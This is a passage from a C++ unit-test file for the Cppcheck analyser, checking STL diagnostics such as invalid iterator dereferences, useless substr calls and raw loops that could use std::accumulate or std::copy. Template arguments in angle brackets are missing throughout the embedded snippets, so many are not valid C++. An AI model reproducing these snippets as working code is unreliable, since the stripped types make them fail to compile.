std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw 